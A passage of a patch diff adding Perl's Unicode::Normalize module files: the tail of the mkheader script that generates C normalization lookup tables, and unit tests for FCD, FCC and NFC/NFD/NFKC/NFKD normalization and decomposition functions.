+ (SBase <= $_ && $_ <= SFinal) ? decomposeHangul($_)
+ : $Canon{$_} ? @{ $Canon{$_} } : $_
+ } @src;
+ return join(" ",@src) eq join(" ",@dec) ? @dec : getCanonList(@dec);
+ # condition @src == @dec is not ok.
+}
+
+sub getCompatList {
+ my @src = @_;
+ my @dec = map {
+ (SBase <= $_ && $_ <= SFinal) ? decomposeHangul($_)
+ : $Compat{$_} ? @{ $Compat{$_} } : $_
+ } @src;
+ return join(" ",@src) eq join(" ",@dec) ? @dec : getCompatList(@dec);
+ # condition @src == @dec is not ok.
+}
+
+# exhaustive decomposition
+foreach my $key (keys %Canon) {
+ $Canon{$key} = [ getCanonList($key) ];
+}
+
+# exhaustive decomposition
+foreach my $key (keys %Compat) {
+ $Compat{$key} = [ getCompatList($key) ];
+}
+
+##### The above part is common to mkheader and PP #####
+
+foreach my $comp1st (keys %Compos) {
+ my $listname = sprintf("${structname}_%06x", $comp1st);
+ # %04x is bad since it'd place _3046 after _1d157.
+ $Comp1st{$comp1st} = $listname;
+ my $rh1st = $Compos{$comp1st};
+
+ foreach my $comp2nd (keys %$rh1st) {
+ my $uc = $rh1st->{$comp2nd};
+ $CompList{$listname}{$comp2nd} = $uc;
+ }
+}
+
+sub split_into_char {
+ use bytes;
+ my $uni = shift;
+ my $len = length($uni);
+ my @ary;
+ for(my $i = 0; $i < $len; ++$i) {
+ push @ary, ord(substr($uni,$i,1));
+ }
+ return @ary;
+}
+
+sub _U_stringify {
+ sprintf '"%s"', join '',
+ map sprintf("\\x%02x", $_), split_into_char(pack_U(@_));
+}
+
+foreach my $hash (\%Canon, \%Compat) {
+ foreach my $key (keys %$hash) {
+ $hash->{$key} = _U_stringify( @{ $hash->{$key} } );
+ }
+}
+
+########## writing header files ##########
+
+my @boolfunc = (
+ {
+ name => "Exclusion",
+ type => "bool",
+ hash => \%Exclus,
+ },
+ {
+ name => "Singleton",
+ type => "bool",
+ hash => \%Single,
+ },
+ {
+ name => "NonStDecomp",
+ type => "bool",
+ hash => \%NonStD,
+ },
+ {
+ name => "Comp2nd",
+ type => "bool",
+ hash => \%Comp2nd,
+ },
+);
+
+my $orig_fh = SelectSaver->new;
+{
+
+my $file = "unfexc.h";
+open FH, ">$file" or croak "$PACKAGE: $file can't be made";
+binmode FH; select FH;
+
+ print << 'EOF';
+/*
+ * This file is auto-generated by mkheader.
+ * Any changes here will be lost!
+ */
+EOF
+
+foreach my $tbl (@boolfunc) {
+ my @temp = sort {$a <=> $b} keys %{$tbl->{hash}};
+ my $type = $tbl->{type};
+ my $name = $tbl->{name};
+ print "$type is$name (UV uv)\n{\nreturn\n\t";
+
+ while (@temp) {
+ my $cur = shift @temp;
+ if (@temp && $cur + 1 == $temp[0]) {
+ print "($cur <= uv && uv <= ";
+ while (@temp && $cur + 1 == $temp[0]) {
+ $cur = shift @temp;
+ }
+ print "$cur)";
+ print "\n\t|| " if @temp;
+ } else {
+ print "uv == $cur";
+ print "\n\t|| " if @temp;
+ }
+ }
+ print "\n\t? TRUE : FALSE;\n}\n\n";
+}
+
+close FH;
+
+####################################
+
+my $compinit =
+ "typedef struct { UV nextchar; UV composite; } $structname;\n\n";
+
+foreach my $i (sort keys %CompList) {
+ $compinit .= "$structname $i [] = {\n";
+ $compinit .= join ",\n",
+ map sprintf("\t{ %d, %d }", $_, $CompList{$i}{$_}),
+ sort {$a <=> $b } keys %{ $CompList{$i} };
+ $compinit .= ",\n{0,0}\n};\n\n"; # with sentinel
+}
+
+my @tripletable = (
+ {
+ file => "unfcmb",
+ name => "combin",
+ type => "STDCHAR",
+ hash => \%Combin,
+ null => 0,
+ },
+ {
+ file => "unfcan",
+ name => "canon",
+ type => "char*",
+ hash => \%Canon,
+ null => "NULL",
+ },
+ {
+ file => "unfcpt",
+ name => "compat",
+ type => "char*",
+ hash => \%Compat,
+ null => "NULL",
+ },
+ {
+ file => "unfcmp",
+ name => "compos",
+ type => "$structname *",
+ hash => \%Comp1st,
+ null => "NULL",
+ init => $compinit,
+ },
+);
+
+foreach my $tbl (@tripletable) {
+ my $file = "$tbl->{file}.h";
+ my $head = "${prefix}$tbl->{name}";
+ my $type = $tbl->{type};
+ my $hash = $tbl->{hash};
+ my $null = $tbl->{null};
+ my $init = $tbl->{init};
+
+ open FH, ">$file" or croak "$PACKAGE: $file can't be made";
+ binmode FH; select FH;
+ my %val;
+
+ print FH << 'EOF';
+/*
+ * This file is auto-generated by mkheader.
+ * Any changes here will be lost!
+ */
+EOF
+
+ print $init if defined $init;
+
+ foreach my $uv (keys %$hash) {
+ croak sprintf("a Unicode code point 0x%04X over 0x10FFFF.", $uv)
+ unless $uv <= 0x10FFFF;
+ my @c = unpack 'CCCC', pack 'N', $uv;
+ $val{ $c[1] }{ $c[2] }{ $c[3] } = $hash->{$uv};
+ }
+
+ foreach my $p (sort { $a <=> $b } keys %val) {
+ next if ! $val{ $p };
+ for (my $r = 0; $r < 256; $r++) {
+ next if ! $val{ $p }{ $r };
+ printf "static $type ${head}_%02x_%02x [256] = {\n", $p, $r;
+ for (my $c = 0; $c < 256; $c++) {
+ print "\t", defined $val{$p}{$r}{$c}
+ ? "($type)".$val{$p}{$r}{$c}
+ : $null;
+ print ',' if $c != 255;
+ print "\n" if $c % 8 == 7;
+ }
+ print "};\n\n";
+ }
+ }
+ foreach my $p (sort { $a <=> $b } keys %val) {
+ next if ! $val{ $p };
+ printf "static $type* ${head}_%02x [256] = {\n", $p;
+ for (my $r = 0; $r < 256; $r++) {
+ print $val{ $p }{ $r }
+ ? sprintf("${head}_%02x_%02x", $p, $r)
+ : "NULL";
+ print ',' if $r != 255;
+ print "\n" if $val{ $p }{ $r } || ($r+1) % 8 == 0;
+ }
+ print "};\n\n";
+ }
+ print "static $type** $head [] = {\n";
+ for (my $p = 0; $p <= 0x10; $p++) {
+ print $val{ $p } ? sprintf("${head}_%02x", $p) : "NULL";
+ print ',' if $p != 0x10;
+ print "\n";
+ }
+ print "};\n\n";
+ close FH;
+}
+
+} # End of block for SelectSaver
+
+1;
+__END__
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/fcdc.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/fcdc.t
new file mode 100644
index 00000000000..d2ef28b9e90
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/fcdc.t
@@ -0,0 +1,138 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..70\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize qw(:all);
+
+ok(1);
+
+sub _pack_U { Unicode::Normalize::pack_U(@_) }
+sub hexU { _pack_U map hex, split ' ', shift }
+sub answer { defined $_[0] ? $_[0] ? "YES" : "NO" : "MAYBE" }
+
+#########################
+
+ok(FCD(''), "");
+ok(FCC(''), "");
+ok(FCD('A'), "A");
+ok(FCC('A'), "A");
+
+ok(normalize('FCD', ""), "");
+ok(normalize('FCC', ""), "");
+ok(normalize('FCC', "A"), "A");
+ok(normalize('FCD', "A"), "A");
+
+# 9
+
+# if checkFCD is YES, the return value from FCD should be same as the original
+ok(FCD(hexU("00C5")), hexU("00C5")); # A with ring above
+ok(FCD(hexU("0041 030A")), hexU("0041 030A")); # A+ring
+ok(FCD(hexU("0041 0327 030A")), hexU("0041 0327 030A")); # A+cedilla+ring
+ok(FCD(hexU("AC01 1100 1161")), hexU("AC01 1100 1161")); # hangul
+ok(FCD(hexU("212B F900")), hexU("212B F900")); # compat
+
+ok(normalize('FCD', hexU("00C5")), hexU("00C5"));
+ok(normalize('FCD', hexU("0041 030A")), hexU("0041 030A"));
+ok(normalize('FCD', hexU("0041 0327 030A")), hexU("0041 0327 030A"));
+ok(normalize('FCD', hexU("AC01 1100 1161")), hexU("AC01 1100 1161"));
+ok(normalize('FCD', hexU("212B F900")), hexU("212B F900"));
+
+# 19
+
+# if checkFCD is MAYBE or NO, FCD returns NFD (this behavior isn't documented)
+ok(FCD(hexU("00C5 0327")), hexU("0041 0327 030A"));
+ok(FCD(hexU("0041 030A 0327")), hexU("0041 0327 030A"));
+ok(FCD(hexU("00C5 0327")), NFD(hexU("00C5 0327")));
+ok(FCD(hexU("0041 030A 0327")), NFD(hexU("0041 030A 0327")));
+
+ok(normalize('FCD', hexU("00C5 0327")), hexU("0041 0327 030A"));
+ok(normalize('FCD', hexU("0041 030A 0327")), hexU("0041 0327 030A"));
+ok(normalize('FCD', hexU("00C5 0327")), NFD(hexU("00C5 0327")));
+ok(normalize('FCD', hexU("0041 030A 0327")), NFD(hexU("0041 030A 0327")));
+
+# 27
+
+ok(answer(checkFCD('')), 'YES');
+ok(answer(checkFCD('A')), 'YES');
+ok(answer(checkFCD("\x{030A}")), 'YES'); # 030A;COMBINING RING ABOVE
+ok(answer(checkFCD("\x{0327}")), 'YES'); # 0327;COMBINING CEDILLA
+ok(answer(checkFCD(_pack_U(0x00C5))), 'YES'); # A with ring above
+ok(answer(checkFCD(hexU("0041 030A"))), 'YES'); # A+ring
+ok(answer(checkFCD(hexU("0041 0327 030A"))), 'YES'); # A+cedilla+ring
+ok(answer(checkFCD(hexU("0041 030A 0327"))), 'NO'); # A+ring+cedilla
+ok(answer(checkFCD(hexU("00C5 0327"))), 'NO'); # A-ring+cedilla
+ok(answer(checkNFC(hexU("00C5 0327"))), 'MAYBE'); # NFC: A-ring+cedilla
+ok(answer(check("FCD", hexU("00C5 0327"))), 'NO');
+ok(answer(check("NFC", hexU("00C5 0327"))), 'MAYBE');
+ok(answer(checkFCD("\x{AC01}\x{1100}\x{1161}")), 'YES'); # hangul
+ok(answer(checkFCD("\x{212B}\x{F900}")), 'YES'); # compat
+
+ok(answer(checkFCD(hexU("1EA7 05AE 0315 0062"))), "NO");
+ok(answer(checkFCC(hexU("1EA7 05AE 0315 0062"))), "NO");
+ok(answer(check('FCD', hexU("1EA7 05AE 0315 0062"))), "NO");
+ok(answer(check('FCC', hexU("1EA7 05AE 0315 0062"))), "NO");
+
+# 45
+
+ok(FCC(hexU("00C5 0327")), hexU("0041 0327 030A"));
+ok(FCC(hexU("0045 0304 0300")), "\x{1E14}");
+ok(FCC("\x{1100}\x{1161}\x{1100}\x{1173}\x{11AF}"), "\x{AC00}\x{AE00}");
+ok(normalize('FCC', hexU("00C5 0327")), hexU("0041 0327 030A"));
+ok(normalize('FCC', hexU("0045 0304 0300")), "\x{1E14}");
+ok(normalize('FCC', hexU("1100 1161 1100 1173 11AF")), "\x{AC00}\x{AE00}");
+
+ok(FCC("\x{0B47}\x{0300}\x{0B3E}"), "\x{0B47}\x{0300}\x{0B3E}");
+ok(FCC("\x{1100}\x{0300}\x{1161}"), "\x{1100}\x{0300}\x{1161}");
+ok(FCC("\x{0B47}\x{0B3E}\x{0300}"), "\x{0B4B}\x{0300}");
+ok(FCC("\x{1100}\x{1161}\x{0300}"), "\x{AC00}\x{0300}");
+ok(FCC("\x{0B47}\x{300}\x{0B3E}\x{327}"), "\x{0B47}\x{300}\x{0B3E}\x{327}");
+ok(FCC("\x{1100}\x{300}\x{1161}\x{327}"), "\x{1100}\x{300}\x{1161}\x{327}");
+
+# 57
+
+ok(answer(checkFCC('')), 'YES');
+ok(answer(checkFCC('A')), 'YES');
+ok(answer(checkFCC("\x{030A}")), 'MAYBE'); # 030A;COMBINING RING ABOVE
+ok(answer(checkFCC("\x{0327}")), 'MAYBE'); # 0327;COMBINING CEDILLA
+ok(answer(checkFCC(hexU("00C5"))), 'YES'); # A with ring above
+ok(answer(checkFCC(hexU("0041 030A"))), 'MAYBE'); # A+ring
+ok(answer(checkFCC(hexU("0041 0327 030A"))), 'MAYBE'); # A+cedilla+ring
+ok(answer(checkFCC(hexU("0041 030A 0327"))), 'NO'); # A+ring+cedilla
+ok(answer(checkFCC(hexU("00C5 0327"))), 'NO'); # A-ring+cedilla
+ok(answer(checkFCC("\x{AC01}\x{1100}\x{1161}")), 'MAYBE'); # hangul
+ok(answer(checkFCC("\x{212B}\x{F900}")), 'NO'); # compat
+ok(answer(checkFCC("\x{212B}\x{0327}")), 'NO'); # compat
+ok(answer(checkFCC("\x{0327}\x{212B}")), 'NO'); # compat
+
+# 70
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/form.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/form.t
new file mode 100644
index 00000000000..6bbfb082cab
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/form.t
@@ -0,0 +1,84 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..37\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize qw(:all);
+
+ok(1);
+
+sub answer { defined $_[0] ? $_[0] ? "YES" : "NO" : "MAYBE" }
+
+#########################
+
+ok(NFD ("\x{304C}\x{FF76}"), "\x{304B}\x{3099}\x{FF76}");
+ok(NFC ("\x{304C}\x{FF76}"), "\x{304C}\x{FF76}");
+ok(NFKD("\x{304C}\x{FF76}"), "\x{304B}\x{3099}\x{30AB}");
+ok(NFKC("\x{304C}\x{FF76}"), "\x{304C}\x{30AB}");
+
+ok(answer(checkNFD ("\x{304C}")), "NO");
+ok(answer(checkNFC ("\x{304C}")), "YES");
+ok(answer(checkNFKD("\x{304C}")), "NO");
+ok(answer(checkNFKC("\x{304C}")), "YES");
+ok(answer(checkNFD ("\x{FF76}")), "YES");
+ok(answer(checkNFC ("\x{FF76}")), "YES");
+ok(answer(checkNFKD("\x{FF76}")), "NO");
+ok(answer(checkNFKC("\x{FF76}")), "NO");
+
+ok(normalize('D', "\x{304C}\x{FF76}"), "\x{304B}\x{3099}\x{FF76}");
+ok(normalize('C', "\x{304C}\x{FF76}"), "\x{304C}\x{FF76}");
+ok(normalize('KD',"\x{304C}\x{FF76}"), "\x{304B}\x{3099}\x{30AB}");
+ok(normalize('KC',"\x{304C}\x{FF76}"), "\x{304C}\x{30AB}");
+
+ok(answer(check('D', "\x{304C}")), "NO");
+ok(answer(check('C', "\x{304C}")), "YES");
+ok(answer(check('KD',"\x{304C}")), "NO");
+ok(answer(check('KC',"\x{304C}")), "YES");
+ok(answer(check('D' ,"\x{FF76}")), "YES");
+ok(answer(check('C' ,"\x{FF76}")), "YES");
+ok(answer(check('KD',"\x{FF76}")), "NO");
+ok(answer(check('KC',"\x{FF76}")), "NO");
+
+ok(normalize('NFD', "\x{304C}\x{FF76}"), "\x{304B}\x{3099}\x{FF76}");
+ok(normalize('NFC', "\x{304C}\x{FF76}"), "\x{304C}\x{FF76}");
+ok(normalize('NFKD',"\x{304C}\x{FF76}"), "\x{304B}\x{3099}\x{30AB}");
+ok(normalize('NFKC',"\x{304C}\x{FF76}"), "\x{304C}\x{30AB}");
+
+ok(answer(check('NFD', "\x{304C}")), "NO");
+ok(answer(check('NFC', "\x{304C}")), "YES");
+ok(answer(check('NFKD',"\x{304C}")), "NO");
+ok(answer(check('NFKC',"\x{304C}")), "YES");
+ok(answer(check('NFD' ,"\x{FF76}")), "YES");
+ok(answer(check('NFC' ,"\x{FF76}")), "YES");
+ok(answer(check('NFKD',"\x{FF76}")), "NO");
+ok(answer(check('NFKC',"\x{FF76}")), "NO");
+
diff --git a/gnu/usr.bin/perl/dist/Unicode-Normalize/t/func.t b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/func.t
new file mode 100644
index 00000000000..2bd6e504a32
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Unicode-Normalize/t/func.t
@@ -0,0 +1,386 @@
+
+BEGIN {
+ unless ('A' eq pack('U', 0x41)) {
+ print "1..0 # Unicode::Normalize cannot pack a Unicode code point\n";
+ exit 0;
+ }
+ unless (0x41 == unpack('U', 'A')) {
+ print "1..0 # Unicode::Normalize cannot get a Unicode code point\n";
+ exit 0;
+ }
+}
+
+BEGIN {
+ if ($ENV{PERL_CORE}) {
+ chdir('t') if -d 't';
+ @INC = $^O eq 'MacOS' ? qw(::lib) : qw(../lib);
+ }
+}
+
+#########################
+
+use strict;
+use warnings;
+BEGIN { $| = 1; print "1..217\n"; }
+my $count = 0;
+sub ok ($;$) {
+ my $p = my $r = shift;
+ if (@_) {
+ my $x = shift;
+ $p = !defined $x ? !defined $r : !defined $r ? 0 : $r eq $x;
+ }
+ print $p ? "ok" : "not ok", ' ', ++$count, "\n";
+}
+
+use Unicode::Normalize qw(:all);
+
+ok(1);
+
+sub _pack_U { Unicode::Normalize::pack_U(@_) }
+sub hexU { _pack_U map hex, split ' ', shift }
+
+# This won't work on EBCDIC platforms prior to v5.8.0, which is when this
+# translation function was defined
+*to_native = (defined &utf8::unicode_to_native)
+ ? \&utf8::unicode_to_native
+ : sub { return shift };
+
+#########################
+
+ok(getCombinClass( to_native(0)), 0);
+ok(getCombinClass(to_native(41)), 0);
+ok(getCombinClass(to_native(65)), 0);
+ok(getCombinClass( 768), 230);
+ok(getCombinClass(1809), 36);
+
+ok(getCanon(to_native( 0)), undef);
+ok(getCanon(to_native(0x29)), undef);
+ok(getCanon(to_native(0x41)), undef);
+ok(getCanon(to_native(0x00C0)), _pack_U(0x0041, 0x0300));
+ok(getCanon(to_native(0x00EF)), _pack_U(0x0069, 0x0308));
+ok(getCanon(0x304C), _pack_U(0x304B, 0x3099));
+ok(getCanon(0x1EA4), _pack_U(0x0041, 0x0302, 0x0301));
+ok(getCanon(0x1F82), _pack_U(0x03B1, 0x0313, 0x0300, 0x0345));
+ok(getCanon(0x1FAF), _pack_U(0x03A9, 0x0314, 0x0342, 0x0345));
+ok(getCanon(0xAC00), _pack_U(0x1100, 0x1161));
+ok(getCanon(0xAE00), _pack_U(0x1100, 0x1173, 0x11AF));
+ok(getCanon(0x212C), undef);
+ok(getCanon(0x3243), undef);
+ok(getCanon(0xFA2D), _pack_U(0x9DB4));
+
+# 20
+
+ok(getCompat(to_native( 0)), undef);
+ok(getCompat(to_native(0x29)), undef);
+ok(getCompat(to_native(0x41)), undef);
+ok(getCompat(to_native(0x00C0)), _pack_U(0x0041, 0x0300));
+ok(getCompat(to_native(0x00EF)), _pack_U(0x0069, 0x0308));
+ok(getCompat(0x304C), _pack_U(0x304B, 0x3099));
+ok(getCompat(0x1EA4), _pack_U(0x0041, 0x0302, 0x0301));
+ok(getCompat(0x1F82), _pack_U(0x03B1, 0x0313, 0x0300, 0x0345));
+ok(getCompat(0x1FAF), _pack_U(0x03A9, 0x0314, 0x0342, 0x0345));
+ok(getCompat(0x212C), _pack_U(0x0042));
+ok(getCompat(0x3243), _pack_U(0x0028, 0x81F3, 0x0029));
+ok(getCompat(0xAC00), _pack_U(0x1100, 0x1161));
+ok(getCompat(0xAE00), _pack_U(0x1100, 0x1173, 0x11AF));
+ok(getCompat(0xFA2D), _pack_U(0x9DB4));
+
+# 34
+
+ok(getComposite(to_native( 0), to_native( 0)), undef);
+ok(getComposite(to_native( 0), to_native(0x29)), undef);
+ok(getComposite(to_native(0x29), to_native( 0)), undef);
+ok(getComposite(to_native(0x29), to_native(0x29)), undef);
+ok(getComposite(to_native( 0), to_native(0x41)), undef);
+ok(getComposite(to_native(0x41), to_native( 0)), undef);
+ok(getComposite(to_native(0x41), to_native(0x41)), undef);
+ok(getComposite(to_native(12), to_native(0x0300)), undef);
+ok(getComposite(to_native(0x0055), 0xFF00), undef);
+ok(getComposite(to_native(0x0041), 0x0300), to_native(0x00C0));
+ok(getComposite(to_native(0x0055), 0x0300), to_native(0x00D9));
+ok(getComposite(0x0112, 0x0300), 0x1E14);
+ok(getComposite(0x1100, 0x1161), 0xAC00);
+ok(getComposite(0x1100, 0x1173), 0xADF8);
+ok(getComposite(0x1100, 0x11AF), undef);
+ok(getComposite(0x1173, 0x11AF), undef);
+ok(getComposite(0xAC00, 0x11A7), undef);
+ok(getComposite(0xAC00, 0x11A8), 0xAC01);
+ok(getComposite(0xADF8, 0x11AF), 0xAE00);
+
+# 53
+
+sub uprops {
+ my $uv = shift;
+ my $r = "";
+ $r .= isExclusion($uv) ? 'X' : 'x';
+ $r .= isSingleton($uv) ? 'S' : 's';
+ $r .= isNonStDecomp($uv) ? 'N' : 'n'; # Non-Starter Decomposition
+ $r .= isComp_Ex($uv) ? 'F' : 'f'; # Full exclusion (X + S + N)
+ $r .= isComp2nd($uv) ? 'B' : 'b'; # B = M = Y
+ $r .= isNFD_NO($uv) ? 'D' : 'd';
+ $r .= isNFC_MAYBE($uv) ? 'M' : 'm'; # Maybe
+ $r .= isNFC_NO($uv) ? 'C' : 'c';
+ $r .= isNFKD_NO($uv) ? 'K' : 'k';
+ $r .= isNFKC_MAYBE($uv) ? 'Y' : 'y'; # maYbe
+ $r .= isNFKC_NO($uv) ? 'G' : 'g';
+ return $r;
+}
+
+ok(uprops(to_native(0x0000)), 'xsnfbdmckyg'); # NULL
+ok(uprops(to_native(0x0029)), 'xsnfbdmckyg'); # RIGHT PARENTHESIS
+ok(uprops(to_native(0x0041)), 'xsnfbdmckyg'); # LATIN CAPITAL LETTER A
+ok(uprops(to_native(0x00A0)), 'xsnfbdmcKyG'); # NO-BREAK SPACE
+ok(uprops(to_native(0x00C0)), 'xsnfbDmcKyg'); # LATIN CAPITAL LETTER A WITH GRAVE
+ok(uprops(0x0300), 'xsnfBdMckYg'); # COMBINING GRAVE ACCENT
+ok(uprops(0x0344), 'xsNFbDmCKyG'); # COMBINING GREEK DIALYTIKA TONOS
+ok(uprops(0x0387), 'xSnFbDmCKyG'); # GREEK ANO TELEIA
+ok(uprops(0x0958), 'XsnFbDmCKyG'); # DEVANAGARI LETTER QA
+ok(uprops(0x0F43), 'XsnFbDmCKyG'); # TIBETAN LETTER GHA
+ok(uprops(0x1100), 'xsnfbdmckyg'); # HANGUL CHOSEONG KIYEOK
+ok(uprops(0x1161), 'xsnfBdMckYg'); # HANGUL JUNGSEONG A
+ok(uprops(0x11AF), 'xsnfBdMckYg'); # HANGUL JONGSEONG RIEUL
+ok(uprops(0x212B), 'xSnFbDmCKyG'); # ANGSTROM SIGN
+ok(uprops(0xAC00), 'xsnfbDmcKyg'); # HANGUL SYLLABLE GA
+ok(uprops(0xF900), 'xSnFbDmCKyG'); # CJK COMPATIBILITY IDEOGRAPH-F900
+ok(uprops(0xFB4E), 'XsnFbDmCKyG'); # HEBREW LETTER PE WITH RAFE
+ok(uprops(0xFF71), 'xsnfbdmcKyG'); # HALFWIDTH KATAKANA LETTER A
+
+# 71
+
+ok(decompose(""), "");
+ok(decompose("A"), "A");
+ok(decompose("", 1), "");
+ok(decompose("A", 1), "A");
+
+ok(decompose(hexU("1E14 AC01")), hexU("0045 0304 0300 1100 1161 11A8"));
+ok(decompose(hexU("AC00 AE00")), hexU("1100 1161 1100 1173 11AF"));
+ok(decompose(hexU("304C FF76")), hexU("304B 3099 FF76"));
+
+ok(decompose(hexU("1E14 AC01"), 1), hexU("0045 0304 0300 1100 1161 11A8"));
+ok(decompose(hexU("AC00 AE00"), 1), hexU("1100 1161 1100 1173 11AF"));
+ok(decompose(hexU("304C FF76"), 1), hexU("304B 3099 30AB"));
+
+# don't modify the source
+my $sDec = "\x{FA19}";
+ok(decompose($sDec), "\x{795E}");
+ok($sDec, "\x{FA19}");
+
+# 83
+
+ok(reorder(""), "");
+ok(reorder("A"), "A");
+ok(reorder(hexU("0041 0300 0315 0313 031b 0061")),
+ hexU("0041 031b 0300 0313 0315 0061"));
+ok(reorder(hexU("00C1 0300 0315 0313 031b 0061 309A 3099")),
+ hexU("00C1 031b 0300 0313 0315 0061 309A 3099"));
+
+# don't modify the source
+my $sReord = "\x{3000}\x{300}\x{31b}";
+ok(reorder($sReord), "\x{3000}\x{31b}\x{300}");
+ok($sReord, "\x{3000}\x{300}\x{31b}");
+
+# 89
+
+ok(compose(""), "");
+ok(compose("A"), "A");
+ok(compose(hexU("0061 0300")), hexU("00E0"));
+ok(compose(hexU("0061 0300 031B")), hexU("00E0 031B"));
+ok(compose(hexU("0061 0300 0315")), hexU("00E0 0315"));
+ok(compose(hexU("0061 0300 0313")), hexU("00E0 0313"));
+ok(compose(hexU("0061 031B 0300")), hexU("00E0 031B"));
+ok(compose(hexU("0061 0315 0300")), hexU("0061 0315 0300"));
+ok(compose(hexU("0061 0313 0300")), hexU("0061 0313 0300"));
+
+# don't modify the source
+my $sCom = "\x{304B}\x{3099}";
+ok(compose($sCom), "\x{304C}");
+ok($sCom, "\x{304B}\x{3099}");
+
+# 100
+
+ok(composeContiguous(""), "");
+ok(composeContiguous("A"), "A");
+ok(composeContiguous(hexU("0061 0300")), hexU("00E0"));
+ok(composeContiguous(hexU("0061 0300 031B")), hexU("00E0 031B"));
+ok(composeContiguous(hexU("0061 0300 0315")), hexU("00E0 0315"));
+ok(composeContiguous(hexU("0061 0300 0313")), hexU("00E0 0313"));
+ok(composeContiguous(hexU("0061 031B 0300")), hexU("0061 031B 0300"));
+ok(composeContiguous(hexU("0061 0315 0300")), hexU("0061 0315 0300"));
+ok(composeContiguous(hexU("0061 0313 0300")), hexU("0061 0313 0300"));
+
+# don't modify the source
+my $sCtg = "\x{30DB}\x{309A}";
+ok(composeContiguous($sCtg), "\x{30DD}");
+ok($sCtg, "\x{30DB}\x{309A}");
+
+# 111
+
+sub answer { defined $_[0] ? $_[0] ? "YES" : "NO" : "MAYBE" }
+
+ok(answer(checkNFD("")), "YES");
+ok(answer(checkNFC("")), "YES");
+ok(answer(checkNFKD("")), "YES");
+ok(answer(checkNFKC("")), "YES");
+ok(answer(check("NFD", "")), "YES");
+ok(answer(check("NFC", "")), "YES");
+ok(answer(check("NFKD","")), "YES");
+ok(answer(check("NFKC","")), "YES");
+
+# U+0000 to U+007F are prenormalized in all the normalization forms.
+ok(answer(checkNFD("AZaz\t12!#`")), "YES");
+ok(answer(checkNFC("AZaz\t12!#`")), "YES");
+ok(answer(checkNFKD("AZaz\t12!#`")), "YES");
+ok(answer(checkNFKC("AZaz\t12!#`")), "YES");
+ok(answer(check("D", "AZaz\t12!#`")), "YES");
+ok(answer(check("C", "AZaz\t12!#`")), "YES");
+ok(answer(check("KD","AZaz\t12!#`")), "YES");
+ok(answer(check("KC","AZaz\t12!#`")), "YES");
+
+ok(answer(checkNFD(NFD(_pack_U(0xC1, 0x1100, 0x1173, 0x11AF)))), "YES");
+ok(answer(checkNFD(hexU("20 C1 1100 1173 11AF"))), "NO");
+ok(answer(checkNFC(hexU("20 C1 1173 11AF"))), "MAYBE");
+ok(answer(checkNFC(hexU("20 C1 AE00 1100"))), "YES");
+ok(answer(checkNFC(hexU("20 C1 AE00 1100 0300"))), "MAYBE");
+ok(answer(checkNFC(hexU("212B 1100 0300"))), "NO");
+ok(answer(checkNFC(hexU("1100 0300 212B"))), "NO");
+ok(answer(checkNFC(hexU("0041 0327 030A"))), "MAYBE"); # A+cedilla+ring
+ok(answer(checkNFC(hexU("0041 030A 0327"))), "NO"); # A+ring+cedilla
+ok(answer(checkNFC(hexU("20 C1 FF71 2025"))),"YES");
+ok(answer(check("NFC", hexU("20 C1 212B 300"))), "NO");
+ok(answer(checkNFKD(hexU("20 C1 FF71 2025"))), "NO");
+ok(answer(checkNFKC(hexU("20 C1 AE00 2025"))), "NO");
+ok(answer(checkNFKC(hexU("212B 1100 0300"))), "NO");
+ok(answer(checkNFKC(hexU("1100 0300 212B"))), "NO");
+ok(answer(checkNFKC(hexU("0041 0327 030A"))), "MAYBE"); # A+cedilla+ring
+ok(answer(checkNFKC(hexU("0041 030A 0327"))), "NO"); # A+ring+cedilla
+ok(answer(check("NFKC", hexU("20 C1 212B 300"))), "NO");
+
+# 145
+
+"012ABC" =~ /(\d+)(\w+)/;
+ok("012" eq NFC $1 && "ABC" eq NFC $2);
+
+ok(normalize('C', $1), "012");
+ok(normalize('C', $2), "ABC");
+
+ok(normalize('NFC', $1), "012");
+ok(normalize('NFC', $2), "ABC");
+ # s/^NF// in normalize() must not prevent using $1, $&, etc.
+
+# 150
+
+# a string with initial zero should be treated like a number
+
+# LATIN CAPITAL LETTER A WITH GRAVE
+ok(getCombinClass(sprintf("0%d", to_native(192))), 0);
+ok(getCanon (sprintf("0%d", to_native(192))), _pack_U(0x41, 0x300));
+ok(getCompat(sprintf("0%d", to_native(192))), _pack_U(0x41, 0x300));
+my $lead_zero = sprintf "0%d", to_native(65);
+ok(getComposite($lead_zero, "0768"), to_native(192));
+ok(isNFD_NO (sprintf("0%d", to_native(192))));
